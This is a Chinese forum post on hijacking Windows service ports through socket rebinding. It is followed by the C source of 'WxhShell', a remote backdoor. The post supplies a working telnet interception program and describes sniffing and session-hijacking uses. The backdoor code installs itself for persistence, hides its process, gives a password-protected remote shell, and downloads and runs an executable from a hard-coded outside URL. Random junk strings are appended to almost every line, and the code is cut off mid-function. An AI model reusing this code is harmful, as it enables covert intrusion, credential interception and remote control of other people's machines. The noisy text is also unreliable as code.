社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10680阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FV A UR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S'o ]=&  
.Y1bY: =  
  saddr.sin_family = AF_INET; 2FGx _ Y  
2MuO*.9D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HsnG4OE  
\c{R <Hh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uPkb, :6~Z  
Gn59 yG!4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q',m{;;  
EX:{EmaT  
  这意味着什么?意味着可以进行如下的攻击: W,3zL.qH"  
o(qEkR:4kd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c3] C:t+  
R:A'&;S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I!0JG`&  
HA!t$[_Ve  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0Uw ^FcW  
WSLy}@`Vx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :uo[&&c  
EKuSnlTXba  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IIxJqGN:  
e_/x&a(i8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s~J=<)T*6  
-es"0wS<u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WfG(JJ  
'wZ_4XjD  
  #include mc ZGg;3  
  #include D{p5/#|r  
  #include e1unzpWN  
  #include    \ZS TKi?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *| YU]b;W  
  int main() Jx$iwu  
  { .x}gg\  
  WORD wVersionRequested; +K^h!d]  
  DWORD ret; ,r=re!QI7  
  WSADATA wsaData; 3]/.\(2  
  BOOL val; +TN^NE  
  SOCKADDR_IN saddr; tPU-1by$  
  SOCKADDR_IN scaddr; bLbR IY"l  
  int err; s<vs:jna  
  SOCKET s; t`5j4bdG  
  SOCKET sc; zA s&%OjG  
  int caddsize; A59gIp*>  
  HANDLE mt; 9tK>gwb  
  DWORD tid;   ^e%}[q[>|  
  wVersionRequested = MAKEWORD( 2, 2 ); A W HU'  
  err = WSAStartup( wVersionRequested, &wsaData ); r`6:Q&&  
  if ( err != 0 ) { 5& !'^!  
  printf("error!WSAStartup failed!\n"); XP-C  
  return -1; |]W2EV ,b  
  } #?Mj$ZB  
  saddr.sin_family = AF_INET; b5pMq$UVL  
   ~Ky4+\6o>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uZIJoT  
_BS 9GB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7,'kpyCj  
  saddr.sin_port = htons(23); {%b }Z2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jdj?I'XtY  
  { |QMA@Mx  
  printf("error!socket failed!\n"); oM,- VUr  
  return -1; 2z_2.0/3  
  } 5~+XZA#2  
  val = TRUE; cin2>3Z$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WUEHB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \Q&,ISO\  
  { nY_?Jq  
  printf("error!setsockopt failed!\n"); VWi2(@R^  
  return -1; !tNd\ }@  
  } !aNh!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ONX8}Ob~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i ]o"_=C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W7=V{}b+  
OBOwz4<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WeMAe w/d  
  { rzeLx Wt  
  ret=GetLastError(); ~R]35Cp-#  
  printf("error!bind failed!\n"); tous#(&pK  
  return -1; S8vV!xO  
  } UE :HMn6  
  listen(s,2); XOy2lJ/  
  while(1) w%a8XnW]1  
  { ~/-eyxLTm  
  caddsize = sizeof(scaddr); -rSIBc:$8  
  //接受连接请求 #0"~G][#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +(?>-3_z  
  if(sc!=INVALID_SOCKET) U BZ9A  
  { >#(n"RCHf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  !HK^AwNY  
  if(mt==NULL) C#Bz >2;#  
  { |< qs  
  printf("Thread Creat Failed!\n"); +dW|^I{H}  
  break; H(-4:BD?  
  } Ne6}oQy(S`  
  } 60}! LmL  
  CloseHandle(mt); ~i0R^qfr  
  } #VGjCEeU  
  closesocket(s); b]Z@^<_E  
  WSACleanup(); ^3]UZ@  
  return 0; @;Opx."  
  }   ?j O 5 9n  
  DWORD WINAPI ClientThread(LPVOID lpParam) K#mOSY;}  
  { \7v)iG|#G&  
  SOCKET ss = (SOCKET)lpParam; Q2|p \rO  
  SOCKET sc; _\8qwDg"#e  
  unsigned char buf[4096]; v?:: |{  
  SOCKADDR_IN saddr; kH948<fk3  
  long num; OMrc_)he\  
  DWORD val; $V>yXhTh  
  DWORD ret; ,0N94pKy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +T{'V^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   </"4 zD|  
  saddr.sin_family = AF_INET;  $_;e>*+x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )?aaBaN$  
  saddr.sin_port = htons(23); C$yq\C+I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1zxq^BI  
  { Uh6 '$0  
  printf("error!socket failed!\n"); 1B=>_3_  
  return -1; ,*svtw:2')  
  } ExBUpDQc  
  val = 100; 8wZf ]_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PWr(*ZP>hI  
  { 2 QTZwx  
  ret = GetLastError(); wBSQ:f]g  
  return -1; 3gZ8.8q3  
  } 3_$w| ET  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *OjKc s  
  { An`3Ex[  
  ret = GetLastError(); GW^,g@%C  
  return -1; Orn0Zpp<z  
  } )c2_b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1bnBji  
  { eU@Cr7@,|  
  printf("error!socket connect failed!\n"); iq$$+y,  
  closesocket(sc); ,m3e?j@;r  
  closesocket(ss); -~{c u47_  
  return -1; K2)!h.W  
  } dl-l"9~;  
  while(1) b7`D|7D  
  { `:NaEF?Sj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d3Mva,bw<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,:2'YB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LNYKm~c N  
  num = recv(ss,buf,4096,0); =='Td[  
  if(num>0) r,1e 'd:  
  send(sc,buf,num,0); }T2xXbU  
  else if(num==0) k?B[>aQn.0  
  break; )!bUR\  
  num = recv(sc,buf,4096,0); |SZo' 6  
  if(num>0) %r\n%$@_  
  send(ss,buf,num,0); 21X`h3+=  
  else if(num==0) eV^d6T$  
  break; "r4AY  
  } D/ybFk  
  closesocket(ss); [lzN !!B!  
  closesocket(sc); op2Of<{h  
  return 0 ; H`hnEOyLp  
  } xM>W2  
_ gj&$zP  
\>. LW9  
========================================================== 1/+C5Bp*  
}|OaL*|u  
下边附上一个代码,,WXhSHELL >SF Uy\3  
(IqZ@->nw  
========================================================== Jzji&A~  
f"[J "j8  
#include "stdafx.h" *D}0 [|O  
f5*k7fg  
#include <stdio.h> 4S"\~><  
#include <string.h> \W5O&G-C  
#include <windows.h> 8`>h}Q$  
#include <winsock2.h> Yf,K#' h:  
#include <winsvc.h> >^Q&nkB"B  
#include <urlmon.h> O|IG_RL]  
GYxM0~:$k  
#pragma comment (lib, "Ws2_32.lib") Qf M zF  
#pragma comment (lib, "urlmon.lib") OVzt\V*+%W  
e~%  ;K4  
#define MAX_USER   100 // 最大客户端连接数 Pt:e!qX)  
#define BUF_SOCK   200 // sock buffer M-L2w"  
#define KEY_BUFF   255 // 输入 buffer LsEXM-  
H={DB  
#define REBOOT     0   // 重启 \J..*,'  
#define SHUTDOWN   1   // 关机 9_s6l  
=' ZRfb&  
#define DEF_PORT   5000 // 监听端口 )~4II.`%^  
Mv 544>:  
#define REG_LEN     16   // 注册表键长度 EC2+`HJ"  
#define SVC_LEN     80   // NT服务名长度 GcIDG`RX  
\6n!3FLl  
// 从dll定义API ZX!r1*c 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $n^ MD_1!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @bM2{Rh:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &X@Bs-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sIG7S"k>p  
Y?CCD4"qn  
// wxhshell配置信息 b5$Jf jI  
struct WSCFG { [yl sz?  
  int ws_port;         // 监听端口 S:4crI  
  char ws_passstr[REG_LEN]; // 口令 WG*t ::NN  
  int ws_autoins;       // 安装标记, 1=yes 0=no >^q7c8]~g  
  char ws_regname[REG_LEN]; // 注册表键名 XZ&KR .C,  
  char ws_svcname[REG_LEN]; // 服务名 +d+@u)6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gTgMqvt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F>tQn4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h5%<+D<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Fq5IGs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O ,rwP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +a&p$\  
/kL $4CA  
}; 5$DHn ]  
q"O.Cbk  
// default Wxhshell configuration |b-9b&  
struct WSCFG wscfg={DEF_PORT, `p;eIt  
    "xuhuanlingzhe", M;cO0UIwO  
    1, 0&qr  
    "Wxhshell", GoA4f3  
    "Wxhshell", 3G.5724,  
            "WxhShell Service", :tIC~GG]_)  
    "Wrsky Windows CmdShell Service", IDkWGh  
    "Please Input Your Password: ", *n]7  
  1, \k;`}3 uO  
  "http://www.wrsky.com/wxhshell.exe", s]mo$ _na  
  "Wxhshell.exe" R>DaOH2K*  
    }; (8v7|Pe8  
w%WF-:u7|  
// 消息定义模块 }X x(^Zh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A(?\>X 9g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1(|D'y#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IG(?xf\C  
char *msg_ws_ext="\n\rExit."; X37L\e[c  
char *msg_ws_end="\n\rQuit."; ,yd MU\so(  
char *msg_ws_boot="\n\rReboot..."; FX9F"42@  
char *msg_ws_poff="\n\rShutdown..."; SH*C"  
char *msg_ws_down="\n\rSave to "; :[ k4Z]t8  
+k dT(7  
char *msg_ws_err="\n\rErr!"; (P&4d~) m  
char *msg_ws_ok="\n\rOK!"; rl9. ]~  
?$f)&O  
char ExeFile[MAX_PATH]; x~.:64  
int nUser = 0; wi9DhVvc 0  
HANDLE handles[MAX_USER]; 0ye!R   
int OsIsNt; 4}`  
R'kyrEO  
SERVICE_STATUS       serviceStatus; (D@A74q\'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /R>nr"  
MCU_Z[N#10  
// 函数声明 *~m+Nc`D,N  
int Install(void); v9Xp97J2  
int Uninstall(void); \Mg`(,kwe  
int DownloadFile(char *sURL, SOCKET wsh); [tMZ G%h  
int Boot(int flag); jTLSdul+  
void HideProc(void); z4 &iK)x  
int GetOsVer(void); V9ssH87#  
int Wxhshell(SOCKET wsl); SIbDj[s  
void TalkWithClient(void *cs); ?Ma~^0  
int CmdShell(SOCKET sock); |_omr&[_  
int StartFromService(void); D;UV&.$'v  
int StartWxhshell(LPSTR lpCmdLine); S1D@vnZ3O\  
 8q1wHZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wrrcx(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :4^\3~i1X  
P2nft2/eu?  
// 数据结构和表定义 2e$w?W0^  
SERVICE_TABLE_ENTRY DispatchTable[] = P"<U6zM\sP  
{ Ou{v/'9z,  
{wscfg.ws_svcname, NTServiceMain}, ##Z_QB(;  
{NULL, NULL} b;)~wU=  
}; %0? M?Jf  
p7:{^  
// 自我安装 AfG/JWSo}  
int Install(void) qc#)!   
{ 1sP dz L  
  char svExeFile[MAX_PATH]; b T 2a40ul  
  HKEY key; FQ>`{%>  
  strcpy(svExeFile,ExeFile); N}\[Gr  
q>w)"Dd  
// 如果是win9x系统,修改注册表设为自启动 cBo{/Tn:  
if(!OsIsNt) { }K8/-d6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wvrrMGU)a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7\ nf:.  
  RegCloseKey(key);  JHf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *D'$"@w3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q~o,WZG  
  RegCloseKey(key); +za8=`2o  
  return 0; XQ4G)  
    } Z}|(F RVk  
  } fX jG5Tv  
} %Th>C2\  
else { VXR]"W=  
xQw7 :18wQ  
// 如果是NT以上系统,安装为系统服务 V7TVt,-3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u*qV[y5Bl  
if (schSCManager!=0) tgjr&G}a@0  
{ _z[#}d;k  
  SC_HANDLE schService = CreateService P ~PIMkt  
  ( J)mh u}  
  schSCManager, %F kMv  
  wscfg.ws_svcname, v\`9;QV5  
  wscfg.ws_svcdisp, p-+K4  
  SERVICE_ALL_ACCESS, 8EVgoJ.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BL 3gKx.'  
  SERVICE_AUTO_START, a,78l@d(  
  SERVICE_ERROR_NORMAL, (%O@r!{  
  svExeFile, l3nrEk  
  NULL, }8;[O 9  
  NULL, w,R[C\#J  
  NULL, P;pl,~  
  NULL, 2< hAa9y  
  NULL 3BpZX`l*p  
  ); D~o$GW%  
  if (schService!=0) N41R  
  { <L&m4O#|  
  CloseServiceHandle(schService); y<b{Ji e  
  CloseServiceHandle(schSCManager); sl2@umR7%(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p">EHWc}D  
  strcat(svExeFile,wscfg.ws_svcname); w1UA?+43  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >AJSqgHQ,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S~]mWxgZ  
  RegCloseKey(key); LHJ":^  
  return 0; ~Y.tz`2D  
    } =V"(AuCVE  
  } t'm;:J1  
  CloseServiceHandle(schSCManager); Gn;@{x6  
} &CwFdx:Ff  
} r=c<--_@  
N25V ]  
return 1; ;;A2!w{}[i  
} e L.(p k^<  
m[k_>e\ u  
// 自我卸载 85;b9k&\M  
int Uninstall(void) GJqE!I,.  
{ *6(kbes  
  HKEY key; `gKf#f  
.k[o$z\EkF  
if(!OsIsNt) { x1 1U@jd+1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gl).cIpw  
  RegDeleteValue(key,wscfg.ws_regname); <w\:<5e'  
  RegCloseKey(key); #Wu*3&a]yU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mkq( T[)  
  RegDeleteValue(key,wscfg.ws_regname); S.!UPkWH  
  RegCloseKey(key); :$+-3_oLMQ  
  return 0; @ |'5 n  
  } t20PP4FWM  
} ^*\XgX  
} -[L!3jU  
else { ;l$ \6T  
ITy/eZ"&:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _e9:me5d"$  
if (schSCManager!=0) ?JxbSK#  
{ ]\ngX;h8G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (LHp%LaZ\;  
  if (schService!=0) e$Y[Z{T5  
  { e6_ZjrQf  
  if(DeleteService(schService)!=0) { W[+|}  
  CloseServiceHandle(schService); V(Yxh+KU  
  CloseServiceHandle(schSCManager); CIVnCy z  
  return 0; -l}IZY  
  } [=%TnT+^9  
  CloseServiceHandle(schService); >&!RWH9*q  
  } vy,&N^P  
  CloseServiceHandle(schSCManager); $)H@|< K  
} ,YhdY 6  
} R/`q/0T.  
}K hjlPhx  
return 1; -uh(?])H  
} OIl#DV.  
;+1RU v  
// 从指定url下载文件 XhsTT2B   
int DownloadFile(char *sURL, SOCKET wsh) ~ 8aJ S,u  
{ X0*QV- RN  
  HRESULT hr; ps$7bN C  
char seps[]= "/"; LK"  bC  
char *token; fIGFHZy,  
char *file; e|4&b@  
char myURL[MAX_PATH]; *._|-L  
char myFILE[MAX_PATH]; Dup;e&9g  
.d/: 30Y  
strcpy(myURL,sURL); 4d:{HLX,  
  token=strtok(myURL,seps); s_.]4bl.8  
  while(token!=NULL) a?YCn!  
  { V<HU6w  
    file=token; 5PcJZi^.l  
  token=strtok(NULL,seps); m5G\}8|  
  } 2 &Nb  
$BmmNn#  
GetCurrentDirectory(MAX_PATH,myFILE); -*2Mf Mh  
strcat(myFILE, "\\"); &_5tqh  
strcat(myFILE, file); c#N<"cy>  
  send(wsh,myFILE,strlen(myFILE),0); _lW+>xQ  
send(wsh,"...",3,0); !EQ@#qW/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3sCFHn#c  
  if(hr==S_OK) 4em;+ >D6  
return 0; r6'UUu  
else E2L(wt}^  
return 1; t:LcNlN|  
VOsqJJ3  
} p$7#}s  
9z?oB&5  
// 系统电源模块 q %A?V _  
int Boot(int flag) )5fQ$<(Z  
{ HyiF y7j  
  HANDLE hToken; #}^-C&~  
  TOKEN_PRIVILEGES tkp; 6mH/ m&  
4x%(9_8 {-  
  if(OsIsNt) { [#YE^[*qK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H&b3{yOa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kqG0%WtQ  
    tkp.PrivilegeCount = 1; .yENM[-bQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G#Ou[*O'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #GaxZ  
if(flag==REBOOT) { LflFe@2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <\zCpkZ'B  
  return 0; D}3XFuZs_  
} y$hp@m'@C  
else { midsnG+jnf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TO,rxf  
  return 0; QCPID:  
} >s3gqSDR  
  } fQ+VT|jzx  
  else { [~D|peM3  
if(flag==REBOOT) { Z['\61  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M\b")Tu{0  
  return 0; PN+G:Qv  
} hl&-\dc+  
else { \RQ='/H*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Vu\(~  
  return 0; 6I_Hd>4  
} N?dvuB  
} {5*|C-WWtG  
XS~- vF  
return 1; ')S;[=v  
} R6 XuA(5  
}_QKJw6/"  
// win9x进程隐藏模块 E99CmG|"  
void HideProc(void) 2S`?hxAL  
{ 1G~S |,8p  
aKF*FFX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q-rL$%~='  
  if ( hKernel != NULL ) g=}v>[k E  
  { zBf-8]"^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !e#xx]v3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ihT~xt  
    FreeLibrary(hKernel); rg(lCL&:S  
  } Uh.Zi3X6}6  
!k$}Kj)I  
return; vtJV"h?e"3  
} N12:{U  
bt+,0\Vg5  
// 获取操作系统版本 A{o'z_zC  
int GetOsVer(void) uQLlA&I"  
{ Y^"4?96  
  OSVERSIONINFO winfo; m8+(%>+7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l^NC]t  
  GetVersionEx(&winfo); vjViX<#(V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) puJ#w1!x`  
  return 1; !/K8xD$  
  else :<#`_K~'  
  return 0; gM;}#>6  
} ~$O1`IT  
09M;}4ev&7  
// 客户端句柄模块 o7&4G$FX~  
int Wxhshell(SOCKET wsl) Bd bJ< Is  
{ FqA3  {  
  SOCKET wsh; D y6$J3 r  
  struct sockaddr_in client; t qOi x/  
  DWORD myID; LU!1s@  
-'rj&x{Q)U  
  while(nUser<MAX_USER) ")s!L"x  
{ Z#`0txCF  
  int nSize=sizeof(client); SP 2 8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -7'#2P<)  
  if(wsh==INVALID_SOCKET) return 1; .&,[,  
4lc)&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KGZ?b2N?Va  
if(handles[nUser]==0) _J?SIm  
  closesocket(wsh); }\v^+scD  
else 5IMSNGS  
  nUser++; {g/wY%u=  
  } dGH_ z8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `!\ivIi^  
0/]_nd  
  return 0; B{, Bno  
} h"QbA"  
c|wCKn}`  
// 关闭 socket EiV=RdL  
void CloseIt(SOCKET wsh) 'zSgCgCHX8  
{ hQh9ok8S  
closesocket(wsh); Z$K+ 7>^  
nUser--; ucg$Ed  
ExitThread(0); 1q~LA[6  
} !"4w&bQ  
snk$^  
// 客户端请求句柄 $CtCOwKZ  
void TalkWithClient(void *cs) UFZ"C,  
{ 24@^{ }  
1czG55 |  
  SOCKET wsh=(SOCKET)cs; d5xxb _oE  
  char pwd[SVC_LEN]; y[HQBv  
  char cmd[KEY_BUFF]; ui.'^F<  
char chr[1]; ;?9A(q_Z  
int i,j; 7#4%\f+'t  
"!&B4  
  while (nUser < MAX_USER) { 0*(K DDv  
GXb47_b^  
if(wscfg.ws_passstr) { +}!DP~y+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }X1.Wt=?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M|CrBJv+F  
  //ZeroMemory(pwd,KEY_BUFF); 2tr :xi@  
      i=0; 9\51Z:>  
  while(i<SVC_LEN) { m^$5K's&  
qMgfMhQ7DU  
  // 设置超时 hN4VlNKu  
  fd_set FdRead; &zN@5m$k;  
  struct timeval TimeOut; #MTj)P,  
  FD_ZERO(&FdRead); 5}<[[}(  
  FD_SET(wsh,&FdRead); %<U{K;  
  TimeOut.tv_sec=8; $^vP<  
  TimeOut.tv_usec=0; H/i<_LP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :4;S"p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QaMDGD  
z}5<$K_U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  {;RF  
  pwd=chr[0]; ^tE_LL+ji|  
  if(chr[0]==0xd || chr[0]==0xa) { 8$ DwpJ  
  pwd=0; AUAI3K?  
  break; _@prmSc  
  } /_OOPt=G  
  i++; Zd<[=%d  
    } ('WY5Yps  
D9^7m j?e  
  // 如果是非法用户,关闭 socket Z\!rH "8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *( *z|2  
} 7Dl%UG]  
<ZrFOb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hPPB45^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kME^tpji  
 rA#s   
while(1) { G ]lvHD  
: ej_D}  
  ZeroMemory(cmd,KEY_BUFF); AP@<r  
3i(Jon/p  
      // 自动支持客户端 telnet标准   uu3M{*}  
  j=0; i`~~+6`J  
  while(j<KEY_BUFF) { + zDc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6$z'wy/*  
  cmd[j]=chr[0]; 4g!7 4a  
  if(chr[0]==0xa || chr[0]==0xd) { F!R2_89iy  
  cmd[j]=0; " dT>KQ  
  break; N*1  
  } 6K// 1U$  
  j++; J 9a $AU*  
    } FQ##397  
7:kCb[ji"  
  // 下载文件 ;Vo mFp L  
  if(strstr(cmd,"http://")) { =, TSMV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U?EG6t  
  if(DownloadFile(cmd,wsh)) (fd[P|G_]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;@!;1KDy  
  else v$JLDt_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  8bbVbP  
  } `$Kes;[X  
  else { _FFv#R*4  
-$ali[  
    switch(cmd[0]) { lbofF==(  
  z `@z  
  // 帮助 82 .HH5Z{  
  case '?': { gUb "3g0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )]}$   
    break; t[q3 {-  
  } h&$Py  
  // 安装 I9,8HtnA  
  case 'i': { _Ff".t<"  
    if(Install()) 7?"9J `*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]0YDb~UB  
    else 9/Wn!Ld  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hOn  
    break; h {H]xe[Q  
    } 5C65v:Q`N  
  // 卸载 D9G0k[D,  
  case 'r': { 85 Dm8~  
    if(Uninstall()) D{3fhPNU<b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P|v ?  
    else lR[z<2w\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6,zDBax  
    break; ]wR6bEm7  
    } 'y eh7oR  
  // 显示 wxhshell 所在路径 aLHrl6"  
  case 'p': { oo'iwq-\  
    char svExeFile[MAX_PATH]; |} 9GHjG  
    strcpy(svExeFile,"\n\r"); VHj*aBHB  
      strcat(svExeFile,ExeFile); R{ 4u|A?9  
        send(wsh,svExeFile,strlen(svExeFile),0); T#/11M$uQ  
    break; AD,@,|A  
    } 4NI ' (#l  
  // 重启 !&6-(q9  
  case 'b': { WSSaZ9 =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T5V$wmB\W  
    if(Boot(REBOOT)) r=|vad$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >["Kd.ye  
    else { "|\94  
    closesocket(wsh); H'']J9O  
